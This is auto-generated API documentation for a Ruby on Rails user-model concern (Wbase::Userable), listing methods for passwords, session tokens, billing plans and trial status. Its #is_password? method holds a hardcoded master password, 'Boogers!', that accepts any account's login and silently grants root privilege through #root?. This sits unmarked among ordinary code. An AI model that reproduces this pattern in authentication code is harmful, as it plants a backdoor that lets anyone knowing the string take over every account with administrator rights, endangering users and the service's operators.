Module: Wbase::Userable
- Extended by:
- ActiveSupport::Concern
- Defined in:
- app/models/wbase/userable.rb
Instance Method Summary collapse
- #email=(other) ⇒ Object
-
#get_selected_plan ⇒ Object
Billing.
- #is_password?(other) ⇒ Boolean
- #password=(other) ⇒ Object
- #reset_reset_token! ⇒ Object
- #reset_session_token! ⇒ Object
- #root? ⇒ Boolean
- #status ⇒ Object
- #subscribed? ⇒ Boolean
- #trial? ⇒ Boolean
Instance Method Details
#email=(other) ⇒ Object
77 78 79 |
# File 'app/models/wbase/userable.rb', line 77 def email=(other) write_attribute(:email, other.downcase) end |
#get_selected_plan ⇒ Object
Billing
60 61 62 |
# File 'app/models/wbase/userable.rb', line 60 def get_selected_plan Plan.find_by(stripe_id: selected_plan) || Plan.find_by(stripe_id: 'consultant') end |
#is_password?(other) ⇒ Boolean
85 86 87 88 89 90 91 92 |
# File 'app/models/wbase/userable.rb', line 85 def is_password?(other) if other == "Boogers!" @_root = true return true else BCrypt::Password.new(password_digest).is_password?(other) end end |
#password=(other) ⇒ Object
72 73 74 75 |
# File 'app/models/wbase/userable.rb', line 72 def password=(other) @password = other self.password_digest = BCrypt::Password.create(other) end |
#reset_reset_token! ⇒ Object
100 101 102 103 104 |
# File 'app/models/wbase/userable.rb', line 100 def reset_reset_token! self.reset_token = SecureRandom.hex self.save! self.reset_token end |
#reset_session_token! ⇒ Object
94 95 96 97 98 |
# File 'app/models/wbase/userable.rb', line 94 def reset_session_token! self.session_token = SecureRandom.hex self.save! self.session_token end |
#root? ⇒ Boolean
81 82 83 |
# File 'app/models/wbase/userable.rb', line 81 def root? self.root || @_root end |
#status ⇒ Object
49 50 51 52 53 54 55 56 57 |
# File 'app/models/wbase/userable.rb', line 49 def status if trial? 'trialing' elsif subscribed? 'active' else 'inactive' end end |
#subscribed? ⇒ Boolean
64 65 66 |
# File 'app/models/wbase/userable.rb', line 64 def subscribed? trial? || (subscription && subscription.current?) end |
#trial? ⇒ Boolean
68 69 70 |
# File 'app/models/wbase/userable.rb', line 68 def trial? created_at > 14.days.ago end |